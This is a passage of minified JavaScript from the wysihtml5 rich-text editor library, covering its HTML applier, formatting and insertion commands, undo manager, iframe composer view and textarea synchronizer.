function e(a){this.firstTextNode=(this.isElementMerge=a.nodeType==b.ELEMENT_NODE)?a.lastChild:a;this.textNodes=[this.firstTextNode]}function f(a,b,c,d){this.tagNames=a||[h];this.cssClass=b||"";this.similarClassRegExp=c;this.normalize=d;this.applyToAnyTagName=!1}var h="span",i=/\s+/g;e.prototype={doMerge:function(){for(var a=[],b,c,d=0,e=this.textNodes.length;d<e;++d)b=this.textNodes[d],c=b.parentNode,a[d]=b.data,d&&(c.removeChild(b),c.hasChildNodes()||c.parentNode.removeChild(c));return this.firstTextNode.data=
a=a.join("")},getLength:function(){for(var a=this.textNodes.length,b=0;a--;)b+=this.textNodes[a].length;return b},toString:function(){for(var a=[],b=0,c=this.textNodes.length;b<c;++b)a[b]="'"+this.textNodes[b].data+"'";return"[Merge("+a.join(",")+")]"}};f.prototype={getAncestorWithClass:function(a){for(var d;a;){if(this.cssClass)if(d=this.cssClass,a.className){var e=a.className.match(this.similarClassRegExp)||[];d=e[e.length-1]===d}else d=!1;else d=!0;if(a.nodeType==b.ELEMENT_NODE&&c.dom.arrayContains(this.tagNames,
a.tagName.toLowerCase())&&d)return a;a=a.parentNode}return!1},postApply:function(a,b){for(var c=a[0],d=a[a.length-1],f=[],h,i=c,m=d,s=0,x=d.length,o,z,w=0,y=a.length;w<y;++w)if(o=a[w],z=this.getAdjacentMergeableTextNode(o.parentNode,!1)){if(h||(h=new e(z),f.push(h)),h.textNodes.push(o),o===c&&(i=h.firstTextNode,s=i.length),o===d)m=h.firstTextNode,x=h.getLength()}else h=null;if(c=this.getAdjacentMergeableTextNode(d.parentNode,!0))h||(h=new e(d),f.push(h)),h.textNodes.push(c);if(f.length){w=0;for(y=
f.length;w<y;++w)f[w].doMerge();b.setStart(i,s);b.setEnd(m,x)}},getAdjacentMergeableTextNode:function(a,c){var d=a.nodeType==b.TEXT_NODE,e=d?a.parentNode:a,f=c?"nextSibling":"previousSibling";if(d){if((d=a[f])&&d.nodeType==b.TEXT_NODE)return d}else if((d=e[f])&&this.areElementsMergeable(a,d))return d[c?"firstChild":"lastChild"];return null},areElementsMergeable:function(a,b){var d;if(d=c.dom.arrayContains(this.tagNames,(a.tagName||"").toLowerCase()))if(d=c.dom.arrayContains(this.tagNames,(b.tagName||
"").toLowerCase()))if(d=a.className.replace(i," ")==b.className.replace(i," "))a:if(a.attributes.length!=b.attributes.length)d=!1;else{d=0;for(var e=a.attributes.length,f,h;d<e;++d)if(f=a.attributes[d],h=f.name,"class"!=h&&(h=b.attributes.getNamedItem(h),f.specified!=h.specified||f.specified&&f.nodeValue!==h.nodeValue)){d=!1;break a}d=!0}return d},createContainer:function(a){a=a.createElement(this.tagNames[0]);this.cssClass&&(a.className=this.cssClass);return a},applyToTextNode:function(a){var b=
a.parentNode;1==b.childNodes.length&&c.dom.arrayContains(this.tagNames,b.tagName.toLowerCase())?this.cssClass&&(a=this.cssClass,b.className?(b.className&&(b.className=b.className.replace(this.similarClassRegExp,"")),b.className+=" "+a):b.className=a):(b=this.createContainer(c.dom.getDocument(a)),a.parentNode.insertBefore(b,a),b.appendChild(a))},isRemovable:function(a){return c.dom.arrayContains(this.tagNames,a.tagName.toLowerCase())&&b.lang.string(a.className).trim()==this.cssClass},undoToTextNode:function(b,
c,e){c.containsNode(e)||(b=c.cloneRange(),b.selectNode(e),b.isPointInRange(c.endContainer,c.endOffset)&&a(c.endContainer,c.endOffset)&&(d(e,c.endContainer,c.endOffset),c.setEndAfter(e)),b.isPointInRange(c.startContainer,c.startOffset)&&a(c.startContainer,c.startOffset)&&(e=d(e,c.startContainer,c.startOffset)));this.similarClassRegExp&&e.className&&(e.className=e.className.replace(this.similarClassRegExp,""));if(this.isRemovable(e)){c=e;for(e=c.parentNode;c.firstChild;)e.insertBefore(c.firstChild,
c);e.removeChild(c)}},applyToRange:function(a){var c=a.getNodes([b.TEXT_NODE]);if(!c.length)try{var d=this.createContainer(a.endContainer.ownerDocument);a.surroundContents(d);this.selectNode(a,d);return}catch(e){}a.splitBoundaries();c=a.getNodes([b.TEXT_NODE]);if(c.length){for(var f=0,h=c.length;f<h;++f)d=c[f],this.getAncestorWithClass(d)||this.applyToTextNode(d);a.setStart(c[0],0);d=c[c.length-1];a.setEnd(d,d.length);this.normalize&&this.postApply(c,a)}},undoToRange:function(a){var c=a.getNodes([b.TEXT_NODE]),
d,e;c.length?(a.splitBoundaries(),c=a.getNodes([b.TEXT_NODE])):(c=a.endContainer.ownerDocument.createTextNode(b.INVISIBLE_SPACE),a.insertNode(c),a.selectNode(c),c=[c]);for(var f=0,h=c.length;f<h;++f)d=c[f],(e=this.getAncestorWithClass(d))&&this.undoToTextNode(d,a,e);1==h?this.selectNode(a,c[0]):(a.setStart(c[0],0),d=c[c.length-1],a.setEnd(d,d.length),this.normalize&&this.postApply(c,a))},selectNode:function(a,c){var d=c.nodeType===b.ELEMENT_NODE,e="canHaveHTML"in c?c.canHaveHTML:!0,f=d?c.innerHTML:
c.data;if((f=""===f||f===b.INVISIBLE_SPACE)&&d&&e)try{c.innerHTML=b.INVISIBLE_SPACE}catch(h){}a.selectNodeContents(c);f&&d?a.collapse(!1):f&&(a.setStartAfter(c),a.setEndAfter(c))},getTextSelectedByRange:function(a,b){var c=b.cloneRange();c.selectNodeContents(a);var d=c.intersection(b),d=d?d.toString():"";c.detach();return d},isAppliedToRange:function(a){var c=[],d,e=a.getNodes([b.TEXT_NODE]);if(!e.length)return(d=this.getAncestorWithClass(a.startContainer))?[d]:!1;for(var f=0,h=e.length,i;f<h;++f){i=
this.getTextSelectedByRange(e[f],a);d=this.getAncestorWithClass(e[f]);if(""!=i&&!d)return!1;c.push(d)}return c},toggleRange:function(a){this.isAppliedToRange(a)?this.undoToRange(a):this.applyToRange(a)}};b.selection.HTMLApplier=f})(wysihtml5,rangy);
wysihtml5.Commands=Base.extend({constructor:function(b){this.editor=b;this.composer=b.composer;this.doc=this.composer.doc},support:function(b){return wysihtml5.browser.supportsCommand(this.doc,b)},exec:function(b,c){var a=wysihtml5.commands[b],d=a&&a.exec;this.editor.fire("beforecommand:composer");if(d)return d.call(a,this.composer,b,c);try{return this.doc.execCommand(b,!1,c)}catch(e){}this.editor.fire("aftercommand:composer")},state:function(b,c){var a=wysihtml5.commands[b],d=a&&a.state;if(d)return d.call(a,
this.composer,b,c);try{return this.doc.queryCommandState(b)}catch(e){return!1}},value:function(b){var c=wysihtml5.commands[b],a=c&&c.value;if(a)return a.call(c,this.composer,b);try{return this.doc.queryCommandValue(b)}catch(d){return null}}});(function(b){b.commands.bold={exec:function(c,a){return b.commands.formatInline.exec(c,a,"b")},state:function(c,a){return b.commands.formatInline.state(c,a,"b")},value:function(){}}})(wysihtml5);
(function(b){function c(c,h){var i=c.doc,g="_wysihtml5-temp-"+ +new Date,k=0,j,q,n;b.commands.formatInline.exec(c,a,d,g,/non-matching-class/g);j=i.querySelectorAll(d+"."+g);for(g=j.length;k<g;k++)for(n in q=j[k],q.removeAttribute("class"),h)q.setAttribute(n,h[n]);k=q;1===g&&(n=e.getTextContent(q),g=!!q.querySelector("*"),n=""===n||n===b.INVISIBLE_SPACE,!g&&n&&(e.setTextContent(q,q.href),i=i.createTextNode(" "),c.selection.setAfter(q),c.selection.insertNode(i),k=i));c.selection.setAfter(k)}var a,d=
"A",e=b.dom;b.commands.createLink={exec:function(a,b,d){var g=this.state(a,b);g?a.selection.executeAndRestore(function(){for(var a=g.length,b=0,c,d,f;b<a;b++)c=g[b],d=e.getParentElement(c,{nodeName:"code"}),f=e.getTextContent(c),f.match(e.autoLink.URL_REG_EXP)&&!d?e.renameElement(c,"code"):e.replaceWithChildNodes(c)}):(d="object"===typeof d?d:{href:d},c(a,d))},state:function(a,c){return b.commands.formatInline.state(a,c,"A")},value:function(){return a}}})(wysihtml5);
(function(b){var c=/wysiwyg-font-size-[a-z]+/g;b.commands.fontSize={exec:function(a,d,e){return b.commands.formatInline.exec(a,d,"span","wysiwyg-font-size-"+e,c)},state:function(a,d,e){return b.commands.formatInline.state(a,d,"span","wysiwyg-font-size-"+e,c)},value:function(){}}})(wysihtml5);
(function(b){var c=/wysiwyg-color-[a-z]+/g;b.commands.foreColor={exec:function(a,d,e){return b.commands.formatInline.exec(a,d,"span","wysiwyg-color-"+e,c)},state:function(a,d,e){return b.commands.formatInline.state(a,d,"span","wysiwyg-color-"+e,c)},value:function(){}}})(wysihtml5);
(function(b){function c(a){for(a=a.previousSibling;a&&a.nodeType===b.TEXT_NODE&&!b.lang.string(a.data).trim();)a=a.previousSibling;return a}function a(a){for(a=a.nextSibling;a&&a.nodeType===b.TEXT_NODE&&!b.lang.string(a.data).trim();)a=a.nextSibling;return a}function d(a){return"BR"===a.nodeName||"block"===h.getStyle("display").from(a)?!0:!1}function e(a,c,d,e){if(e)var f=h.observe(a,"DOMNodeInserted",function(a){var a=a.target,c;a.nodeType===b.ELEMENT_NODE&&(c=h.getStyle("display").from(a),"inline"!==
c.substr(0,6)&&(a.className+=" "+e))});a.execCommand(c,!1,d);f&&f.stop()}function f(b,d){b.selection.selectLine();b.selection.surround(d);var e=a(d),f=c(d);e&&"BR"===e.nodeName&&e.parentNode.removeChild(e);f&&"BR"===f.nodeName&&f.parentNode.removeChild(f);(e=d.lastChild)&&"BR"===e.nodeName&&e.parentNode.removeChild(e);b.selection.selectNode(d)}var h=b.dom,i="H1,H2,H3,H4,H5,H6,P,BLOCKQUOTE,DIV".split(",");b.commands.formatBlock={exec:function(g,k,j,q,n){var p=g.doc,r=this.state(g,k,j,q,n),m,j="string"===
typeof j?j.toUpperCase():j;if(r)g.selection.executeAndRestoreSimple(function(){n&&(r.className=r.className.replace(n,""));var e=!!b.lang.string(r.className).trim();if(!e&&r.nodeName===(j||"DIV")){var e=r,f=e.ownerDocument,g=a(e),i=c(e);g&&!d(g)&&e.parentNode.insertBefore(f.createElement("br"),g);i&&!d(i)&&e.parentNode.insertBefore(f.createElement("br"),e);h.replaceWithChildNodes(r)}else e&&h.renameElement(r,"DIV")});else{if(null===j||b.lang.array(i).contains(j))if(m=g.selection.getSelectedNode(),
r=h.getParentElement(m,{nodeName:i})){g.selection.executeAndRestoreSimple(function(){j&&(r=h.renameElement(r,j));if(q){var a=r;a.className?(a.className=a.className.replace(n,""),a.className+=" "+q):a.className=q}});return}g.commands.support(k)?e(p,k,j||"DIV",q):(r=p.createElement(j||"DIV"),q&&(r.className=q),f(g,r))}},state:function(a,b,c,d,e){c="string"===typeof c?c.toUpperCase():c;a=a.selection.getSelectedNode();return h.getParentElement(a,{nodeName:c,className:d,classRegExp:e})},value:function(){}}})(wysihtml5);
(function(b){function c(c,f,h){var i=c+":"+f;if(!d[i]){var g=d,k=b.selection.HTMLApplier,j=a[c],c=j?[c.toLowerCase(),j.toLowerCase()]:[c.toLowerCase()];g[i]=new k(c,f,h,!0)}return d[i]}var a={strong:"b",em:"i",b:"strong",i:"em"},d={};b.commands.formatInline={exec:function(a,b,d,i,g){b=a.selection.getRange();if(!b)return!1;c(d,i,g).toggleRange(b);a.selection.setSelection(b)},state:function(d,f,h,i,g){var f=d.doc,k=a[h]||h;if(!b.dom.hasElementWithTagName(f,h)&&!b.dom.hasElementWithTagName(f,k)||i&&
!b.dom.hasElementWithClassName(f,i))return!1;d=d.selection.getRange();return!d?!1:c(h,i,g).isAppliedToRange(d)},value:function(){}}})(wysihtml5);(function(b){b.commands.insertHTML={exec:function(b,a,d){b.commands.support(a)?b.doc.execCommand(a,!1,d):b.selection.insertHTML(d)},state:function(){return!1},value:function(){}}})(wysihtml5);
(function(b){b.commands.insertImage={exec:function(c,a,d){var d="object"===typeof d?d:{src:d},e=c.doc,a=this.state(c),f;if(a)c.selection.setBefore(a),d=a.parentNode,d.removeChild(a),b.dom.removeEmptyTextNodes(d),"A"===d.nodeName&&!d.firstChild&&(c.selection.setAfter(d),d.parentNode.removeChild(d)),b.quirks.redraw(c.element);else{a=e.createElement("IMG");for(f in d)a[f]=d[f];c.selection.insertNode(a);b.browser.hasProblemsSettingCaretAfterImg()?(d=e.createTextNode(b.INVISIBLE_SPACE),c.selection.insertNode(d),
c.selection.setAfter(d)):c.selection.setAfter(a)}},state:function(c){var a;if(!b.dom.hasElementWithTagName(c.doc,"IMG"))return!1;a=c.selection.getSelectedNode();if(!a)return!1;if("IMG"===a.nodeName)return a;if(a.nodeType!==b.ELEMENT_NODE)return!1;a=c.selection.getText();if(a=b.lang.string(a).trim())return!1;c=c.selection.getNodes(b.ELEMENT_NODE,function(a){return"IMG"===a.nodeName});return 1!==c.length?!1:c[0]},value:function(b){return(b=this.state(b))&&b.src}}})(wysihtml5);
(function(b){var c="<br>"+(b.browser.needsSpaceAfterLineBreak()?" ":"");b.commands.insertLineBreak={exec:function(a,d){a.commands.support(d)?(a.doc.execCommand(d,!1,null),b.browser.autoScrollsToCaret()||a.selection.scrollIntoView()):a.commands.exec("insertHTML",c)},state:function(){return!1},value:function(){}}})(wysihtml5);
(function(b){b.commands.insertOrderedList={exec:function(c,a){var d=c.doc,e,f,h;c.commands.support(a)?d.execCommand(a,!1,null):(e=c.selection.getSelectedNode(),(h=b.dom.getParentElement(e,{nodeName:["UL","OL"]},4))?c.selection.executeAndRestoreSimple(function(){"OL"===h.nodeName?b.dom.resolveList(h):("UL"===h.nodeName||"MENU"===h.nodeName)&&b.dom.renameElement(h,"ol")}):(f=d.createElement("span"),c.selection.surround(f),d=""===f.innerHTML||f.innerHTML===b.INVISIBLE_SPACE,c.selection.executeAndRestoreSimple(function(){h=
b.dom.convertToList(f,"ol")}),d&&c.selection.selectNode(h.querySelector("li"))))},state:function(b,a){try{return b.doc.queryCommandState(a)}catch(d){return!1}},value:function(){}}})(wysihtml5);
(function(b){b.commands.insertUnorderedList={exec:function(c,a){var d=c.doc,e,f,h;c.commands.support(a)?d.execCommand(a,!1,null):(e=c.selection.getSelectedNode(),(h=b.dom.getParentElement(e,{nodeName:["UL","OL"]}))?c.selection.executeAndRestoreSimple(function(){"UL"===h.nodeName?b.dom.resolveList(h):("OL"===h.nodeName||"MENU"===h.nodeName)&&b.dom.renameElement(h,"ul")}):(f=d.createElement("span"),c.selection.surround(f),d=""===f.innerHTML||f.innerHTML===b.INVISIBLE_SPACE,c.selection.executeAndRestoreSimple(function(){h=
b.dom.convertToList(f,"ul")}),d&&c.selection.selectNode(h.querySelector("li"))))},state:function(b,a){try{return b.doc.queryCommandState(a)}catch(d){return!1}},value:function(){}}})(wysihtml5);(function(b){b.commands.italic={exec:function(c,a){return b.commands.formatInline.exec(c,a,"i")},state:function(c,a){return b.commands.formatInline.state(c,a,"i")},value:function(){}}})(wysihtml5);
(function(b){var c=/wysiwyg-text-align-[a-z]+/g;b.commands.justifyCenter={exec:function(a){return b.commands.formatBlock.exec(a,"formatBlock",null,"wysiwyg-text-align-center",c)},state:function(a){return b.commands.formatBlock.state(a,"formatBlock",null,"wysiwyg-text-align-center",c)},value:function(){}}})(wysihtml5);
(function(b){var c=/wysiwyg-text-align-[a-z]+/g;b.commands.justifyLeft={exec:function(a){return b.commands.formatBlock.exec(a,"formatBlock",null,"wysiwyg-text-align-left",c)},state:function(a){return b.commands.formatBlock.state(a,"formatBlock",null,"wysiwyg-text-align-left",c)},value:function(){}}})(wysihtml5);
(function(b){var c=/wysiwyg-text-align-[a-z]+/g;b.commands.justifyRight={exec:function(a){return b.commands.formatBlock.exec(a,"formatBlock",null,"wysiwyg-text-align-right",c)},state:function(a){return b.commands.formatBlock.state(a,"formatBlock",null,"wysiwyg-text-align-right",c)},value:function(){}}})(wysihtml5);
(function(b){var c=/wysiwyg-text-decoration-underline/g;b.commands.underline={exec:function(a,d){return b.commands.formatInline.exec(a,d,"span","wysiwyg-text-decoration-underline",c)},state:function(a,d){return b.commands.formatInline.state(a,d,"span","wysiwyg-text-decoration-underline",c)},value:function(){}}})(wysihtml5);
(function(b){var c='<span id="_wysihtml5-undo" class="_wysihtml5-temp">'+b.INVISIBLE_SPACE+"</span>",a='<span id="_wysihtml5-redo" class="_wysihtml5-temp">'+b.INVISIBLE_SPACE+"</span>",d=b.dom;b.UndoManager=b.lang.Dispatcher.extend({constructor:function(a){this.editor=a;this.composer=a.composer;this.element=this.composer.element;this.history=[this.composer.getValue()];this.position=1;this.composer.commands.support("insertHTML")&&this._observe()},_observe:function(){var e=this,f=this.composer.sandbox.getDocument(),
h;d.observe(this.element,"keydown",function(a){if(!(a.altKey||!a.ctrlKey&&!a.metaKey)){var b=a.keyCode,c=90===b&&a.shiftKey||89===b;90===b&&!a.shiftKey?(e.undo(),a.preventDefault()):c&&(e.redo(),a.preventDefault())}});d.observe(this.element,"keydown",function(a){a=a.keyCode;a!==h&&(h=a,(8===a||46===a)&&e.transact())});if(b.browser.hasUndoInContextMenu()){var i,g,k=function(){for(var a;a=f.querySelector("._wysihtml5-temp");)a.parentNode.removeChild(a);clearInterval(i)};d.observe(this.element,"contextmenu",
function(){k();e.composer.selection.executeAndRestoreSimple(function(){e.element.lastChild&&e.composer.selection.setAfter(e.element.lastChild);f.execCommand("insertHTML",!1,c);f.execCommand("insertHTML",!1,a);f.execCommand("undo",!1,null)});i=setInterval(function(){f.getElementById("_wysihtml5-redo")?(k(),e.redo()):f.getElementById("_wysihtml5-undo")||(k(),e.undo())},400);g||(g=!0,d.observe(document,"mousedown",k),d.observe(f,["mousedown","paste","cut","copy"],k))})}this.editor.observe("newword:composer",
function(){e.transact()}).observe("beforecommand:composer",function(){e.transact()})},transact:function(){var a=this.history[this.position-1],b=this.composer.getValue();if(b!=a){if(40<(this.history.length=this.position))this.history.shift(),this.position--;this.position++;this.history.push(b)}},undo:function(){this.transact();1>=this.position||(this.set(this.history[--this.position-1]),this.editor.fire("undo:composer"))},redo:function(){this.position>=this.history.length||(this.set(this.history[++this.position-
1]),this.editor.fire("redo:composer"))},set:function(a){this.composer.setValue(a);this.editor.focus(!0)}})})(wysihtml5);
wysihtml5.views.View=Base.extend({constructor:function(b,c,a){this.parent=b;this.element=c;this.config=a;this._observeViewChange()},_observeViewChange:function(){var b=this;this.parent.observe("beforeload",function(){b.parent.observe("change_view",function(c){c===b.name?(b.parent.currentView=b,b.show(),setTimeout(function(){b.focus()},0)):b.hide()})})},focus:function(){if(this.element.ownerDocument.querySelector(":focus")!==this.element)try{this.element.focus()}catch(b){}},hide:function(){this.element.style.display=
"none"},show:function(){this.element.style.display=""},disable:function(){this.element.setAttribute("disabled","disabled")},enable:function(){this.element.removeAttribute("disabled")}});
(function(b){var c=b.dom,a=b.browser;b.views.Composer=b.views.View.extend({name:"composer",CARET_HACK:"<br>",constructor:function(a,b,c){this.base(a,b,c);this.textarea=this.parent.textarea;this._initSandbox()},clear:function(){this.element.innerHTML=a.displaysCaretInEmptyContentEditableCorrectly()?"":this.CARET_HACK},getValue:function(a){var c=this.isEmpty()?"":b.quirks.getCorrectInnerHTML(this.element);a&&(c=this.parent.parse(c));return c=b.lang.string(c).replace(b.INVISIBLE_SPACE).by("")},setValue:function(a,
b){b&&(a=this.parent.parse(a));this.element.innerHTML=a},show:function(){this.iframe.style.display=this._displayStyle||"";this.disable();this.enable()},hide:function(){this._displayStyle=c.getStyle("display").from(this.iframe);"none"===this._displayStyle&&(this._displayStyle=null);this.iframe.style.display="none"},disable:function(){this.element.removeAttribute("contentEditable");this.base()},enable:function(){this.element.setAttribute("contentEditable","true");this.base()},focus:function(a){b.browser.doesAsyncFocus()&&
this.hasPlaceholderSet()&&this.clear();this.base();var c=this.element.lastChild;a&&c&&("BR"===c.nodeName?this.selection.setBefore(this.element.lastChild):this.selection.setAfter(this.element.lastChild))},getTextContent:function(){return c.getTextContent(this.element)},hasPlaceholderSet:function(){return this.getTextContent()==this.textarea.element.getAttribute("placeholder")},isEmpty:function(){var a=this.element.innerHTML;return""===a||a===this.CARET_HACK||this.hasPlaceholderSet()||""===this.getTextContent()&&
!this.element.querySelector("blockquote, ul, ol, img, embed, object, table, iframe, svg, video, audio, button, input, select, textarea")},_initSandbox:function(){var a=this;this.sandbox=new c.Sandbox(function(){a._create()},{stylesheets:this.config.stylesheets});this.iframe=this.sandbox.getIframe();var b=document.createElement("input");b.type="hidden";b.name="_wysihtml5_mode";b.value=1;var f=this.textarea.element;c.insert(this.iframe).after(f);c.insert(b).after(f)},_create:function(){var d=this;this.doc=
this.sandbox.getDocument();this.element=this.doc.body;this.textarea=this.parent.textarea;this.element.innerHTML=this.textarea.getValue(!0);this.enable();this.selection=new b.Selection(this.parent);this.commands=new b.Commands(this.parent);c.copyAttributes("className,spellcheck,title,lang,dir,accessKey".split(",")).from(this.textarea.element).to(this.element);c.addClass(this.element,this.config.composerClassName);this.config.style&&this.style();this.observe();var e=this.config.name;e&&(c.addClass(this.element,
e),c.addClass(this.iframe,e));(e="string"===typeof this.config.placeholder?this.config.placeholder:this.textarea.element.getAttribute("placeholder"))&&c.simulatePlaceholder(this.parent,this,e);this.commands.exec("styleWithCSS",!1);this._initAutoLinking();this._initObjectResizing();this._initUndoManager();(this.textarea.element.hasAttribute("autofocus")||document.querySelector(":focus")==this.textarea.element)&&setTimeout(function(){d.focus()},100);b.quirks.insertLineBreakOnReturn(this);a.clearsContentEditableCorrectly()||
b.quirks.ensureProperClearing(this);a.clearsListsInContentEditableCorrectly()||b.quirks.ensureProperClearingOfLists(this);this.initSync&&this.config.sync&&this.initSync();this.textarea.hide();this.parent.fire("beforeload").fire("load")},_initAutoLinking:function(){var d=this,e=a.canDisableAutoLinking(),f=a.doesAutoLinkingInContentEditable();e&&this.commands.exec("autoUrlDetect",!1);if(this.config.autoLink){(!f||f&&e)&&this.parent.observe("newword:composer",function(){d.selection.executeAndRestore(function(a,
b){c.autoLink(b.parentNode)})});var h=this.sandbox.getDocument().getElementsByTagName("a"),i=c.autoLink.URL_REG_EXP,g=function(a){a=b.lang.string(c.getTextContent(a)).trim();"www."===a.substr(0,4)&&(a="http://"+a);return a};c.observe(this.element,"keydown",function(a){if(h.length){var a=d.selection.getSelectedNode(a.target.ownerDocument),b=c.getParentElement(a,{nodeName:"A"},4),e;b&&(e=g(b),setTimeout(function(){var a=g(b);a!==e&&a.match(i)&&b.setAttribute("href",a)},0))}})}},_initObjectResizing:function(){var d=
["width","height"],e=d.length,f=this.element;this.commands.exec("enableObjectResizing",this.config.allowObjectResizing);this.config.allowObjectResizing?a.supportsEvent("resizeend")&&c.observe(f,"resizeend",function(a){for(var a=a.target||a.srcElement,c=a.style,g=0,k;g<e;g++)k=d[g],c[k]&&(a.setAttribute(k,parseInt(c[k],10)),c[k]="");b.quirks.redraw(f)}):a.supportsEvent("resizestart")&&c.observe(f,"resizestart",function(a){a.preventDefault()})},_initUndoManager:function(){new b.UndoManager(this.parent)}})})(wysihtml5);
(function(b){var c=b.dom,a=document,d=window,e=a.createElement("div"),f="background-color,color,cursor,font-family,font-size,font-style,font-variant,font-weight,line-height,letter-spacing,text-align,text-decoration,text-indent,text-rendering,word-break,word-wrap,word-spacing".split(","),h="background-color,border-collapse,border-bottom-color,border-bottom-style,border-bottom-width,border-left-color,border-left-style,border-left-width,border-right-color,border-right-style,border-right-width,border-top-color,border-top-style,border-top-width,clear,display,float,margin-bottom,margin-left,margin-right,margin-top,outline-color,outline-offset,outline-width,outline-style,padding-left,padding-right,padding-top,padding-bottom,position,top,left,right,bottom,z-index,vertical-align,text-align,-webkit-box-sizing,-moz-box-sizing,-ms-box-sizing,box-sizing,-webkit-box-shadow,-moz-box-shadow,-ms-box-shadow,box-shadow,-webkit-border-top-right-radius,-moz-border-radius-topright,border-top-right-radius,-webkit-border-bottom-right-radius,-moz-border-radius-bottomright,border-bottom-right-radius,-webkit-border-bottom-left-radius,-moz-border-radius-bottomleft,border-bottom-left-radius,-webkit-border-top-left-radius,-moz-border-radius-topleft,border-top-left-radius,width,height".split(","),
i="width,height,top,left,right,bottom".split(","),g=["html             { height: 100%; }","body             { min-height: 100%; padding: 0; margin: 0; margin-top: -1px; padding-top: 1px; }","._wysihtml5-temp { display: none; }",b.browser.isGecko?"body.placeholder { color: graytext !important; }":"body.placeholder { color: #a9a9a9 !important; }","body[disabled]   { background-color: #eee !important; color: #999 !important; cursor: default !important; }","img:-moz-broken  { -moz-force-broken-image-icon: 1; height: 24px; width: 24px; }"],
k=function(b){if(b.setActive)try{b.setActive()}catch(e){}else{var f=b.style,g=a.documentElement.scrollTop||a.body.scrollTop,h=a.documentElement.scrollLeft||a.body.scrollLeft,f={position:f.position,top:f.top,left:f.left,WebkitUserSelect:f.WebkitUserSelect};c.setStyles({position:"absolute",top:"-99999px",left:"-99999px",WebkitUserSelect:"none"}).on(b);b.focus();c.setStyles(f).on(b);d.scrollTo&&d.scrollTo(h,g)}};b.views.Composer.prototype.style=function(){var j=this,q=a.querySelector(":focus"),n=this.textarea.element,
p=n.hasAttribute("placeholder"),r=p&&n.getAttribute("placeholder");this.focusStylesHost=this.focusStylesHost||e.cloneNode(!1);this.blurStylesHost=this.blurStylesHost||e.cloneNode(!1);p&&n.removeAttribute("placeholder");n===q&&n.blur();c.copyStyles(h).from(n).to(this.iframe).andTo(this.blurStylesHost);c.copyStyles(f).from(n).to(this.element).andTo(this.blurStylesHost);c.insertCSS(g).into(this.element.ownerDocument);k(n);c.copyStyles(h).from(n).to(this.focusStylesHost);c.copyStyles(f).from(n).to(this.focusStylesHost);
var m=b.lang.array(h).without(["display"]);q?q.focus():n.blur();p&&n.setAttribute("placeholder",r);b.browser.hasCurrentStyleProperty()||c.observe(d,"resize",function(){var a=c.getStyle("display").from(n);n.style.display="";c.copyStyles(i).from(n).to(j.iframe).andTo(j.focusStylesHost).andTo(j.blurStylesHost);n.style.display=a});this.parent.observe("focus:composer",function(){c.copyStyles(m).from(j.focusStylesHost).to(j.iframe);c.copyStyles(f).from(j.focusStylesHost).to(j.element)});this.parent.observe("blur:composer",
function(){c.copyStyles(m).from(j.blurStylesHost).to(j.iframe);c.copyStyles(f).from(j.blurStylesHost).to(j.element)});return this}})(wysihtml5);
(function(b){var c=b.dom,a=b.browser,d={66:"bold",73:"italic",85:"underline"};b.views.Composer.prototype.observe=function(){var e=this,f=this.getValue(),h=this.sandbox.getIframe(),i=this.element,g=a.supportsEventsInIframeCorrectly()?i:this.sandbox.getWindow(),k=a.supportsEvent("drop")?["drop","paste"]:["dragdrop","paste"];c.observe(h,"DOMNodeRemoved",function(){clearInterval(j);e.parent.fire("destroy:composer")});var j=setInterval(function(){c.contains(document.documentElement,h)||(clearInterval(j),
e.parent.fire("destroy:composer"))},250);c.observe(g,"focus",function(){e.parent.fire("focus").fire("focus:composer");setTimeout(function(){f=e.getValue()},0)});c.observe(g,"blur",function(){f!==e.getValue()&&e.parent.fire("change").fire("change:composer");e.parent.fire("blur").fire("blur:composer")});b.browser.isIos()&&c.observe(i,"blur",function(){var a=i.ownerDocument.createElement("input"),b=document.documentElement.scrollTop||document.body.scrollTop,c=document.documentElement.scrollLeft||document.body.scrollLeft;
try{e.selection.insertNode(a)}catch(d){i.appendChild(a)}a.focus();a.parentNode.removeChild(a);window.scrollTo(c,b)});c.observe(i,"dragenter",function(){e.parent.fire("unset_placeholder")});a.firesOnDropOnlyWhenOnDragOverIsCancelled()&&c.observe(i,["dragover","dragenter"],function(a){a.preventDefault()});c.observe(i,k,function(b){var c=b.dataTransfer,d;c&&a.supportsDataTransfer()&&(d=c.getData("text/html")||c.getData("text/plain"));d?(i.focus(),e.commands.exec("insertHTML",d),e.parent.fire("paste").fire("paste:composer"),
b.stopPropagation(),b.preventDefault()):setTimeout(function(){e.parent.fire("paste").fire("paste:composer")},0)});c.observe(i,"keyup",function(a){a=a.keyCode;(a===b.SPACE_KEY||a===b.ENTER_KEY)&&e.parent.fire("newword:composer")});this.parent.observe("paste:composer",function(){setTimeout(function(){e.parent.fire("newword:composer")},0)});a.canSelectImagesInContentEditable()||c.observe(i,"mousedown",function(a){var b=a.target;"IMG"===b.nodeName&&(e.selection.selectNode(b),a.preventDefault())});c.observe(i,
"keydown",function(a){var b=d[a.keyCode];if((a.ctrlKey||a.metaKey)&&b)e.commands.exec(b),a.preventDefault()});c.observe(i,"keydown",function(a){var c=e.selection.getSelectedNode(!0),d=a.keyCode;if(c&&"IMG"===c.nodeName&&(d===b.BACKSPACE_KEY||d===b.DELETE_KEY))d=c.parentNode,d.removeChild(c),"A"===d.nodeName&&!d.firstChild&&d.parentNode.removeChild(d),setTimeout(function(){b.quirks.redraw(i)},0),a.preventDefault()});var q={IMG:"Image: ",A:"Link: "};c.observe(i,"mouseover",function(a){var a=a.target,
b=a.nodeName;"A"!==b&&"IMG"!==b||(b=q[b]+(a.getAttribute("href")||a.getAttribute("src")),a.setAttribute("title",b))})}})(wysihtml5);
(function(b){b.views.Synchronizer=Base.extend({constructor:function(b,a,d){this.editor=b;this.textarea=a;this.composer=d;this._observe()},fromComposerToTextarea:function(c){this.textarea.setValue(b.lang.string(this.composer.getValue()).trim(),c)},fromTextareaToComposer:function(b){var a=this.textarea.getValue();a?this.composer.setValue(a,b):(this.composer.clear(),this.editor.fire("set_placeholder"))},sync:function(b){"textarea"===this.editor.currentView.name?this.fromTextareaToComposer(b):this.fromComposerToTextarea(b)},
_observe:function(){var c,a=this,d=this.textarea.element.form,e=function(){c=setInterval(function(){a.fromComposerToTextarea()},400)},f=function(){clearInterval(c);c=null};e();d&&(b.dom.observe(d,"submit",function(){a.sync(!0)}),b.dom.observe(d,"reset",function(){setTimeout(function(){a.fromTextareaToComposer()},0)}));this.editor.observe("change_view",function(b){if(b==="composer"&&!c){a.fromTextareaToComposer(true);e()}else if(b==="textarea"){a.fromComposerToTextarea(true);f()}});this.editor.observe("destroy:composer",
f)}})})(wysihtml5);
